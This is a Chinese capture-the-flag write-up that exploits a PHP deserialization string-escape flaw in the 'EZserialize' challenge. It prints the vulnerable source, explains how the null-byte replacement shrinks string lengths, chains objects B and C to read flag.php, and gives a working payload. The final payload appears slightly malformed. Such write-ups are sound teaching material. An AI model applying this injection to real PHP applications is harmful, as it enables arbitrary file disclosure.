DASCTF EZserialize
源码
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
审计源码,把read和write函数搜一搜,发现这是字符串逃逸。
建议参考文章 [https://www.cnblogs.com/tr1ple/p/11876441.html]
比如说,经过read和write 加工后
string(66) "O:1:"A":2:{s:8:"username";s:12:"**";s:8:"password";s:3:"123";}"
没经过时
string(72) "O:1:"A":2:{s:8:"username";s:12:"\0\0\0\0\0\0";s:8:"password";s:3:"123";}"
我们知道,在username后面的那个s:12代表的是字符串的长度,原本是在最后的\0,在第一个的时候,就会往后检索,把后面的字符包括进来在username里面,再进行序列化,正常的情况下,就肯定不能反序列化成功,返回bool false。但是我们通过控制过滤减少的字符数,在把后面的字符全部包掉。再加上我们需要的东西构造POC链。
<?php
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
$a='\0\0\0\0\0\0\0\0\0';
$b=read(write($a));
echo strlen($a);
echo strlen($b);
?>
我们测试可以知道,18->9,前面这个需要是6的倍数,因为\0\0\0为一组。
思路:将A的属性实例化为B,然后将B的属性实例化为C对象,触发魔法方法读取flag。
<?php
<?php
class A{
public $a;
}
class B{
public $b='sss';
}
class C{
public $c='flag.php';
}
$b=new B();
$c=new C();
$b->b=$c;
//var_dump($b);
echo(serialize($b));
?>
得到O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
加上序列化的内容
s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
需要逃逸的字数
因为逃逸数是6的倍数,比如6->3,那这里是22,得填充东西变成24,则可以48逃逸24。所以这里填充一个字母。
payload:
$a=new A('\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',
'a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}');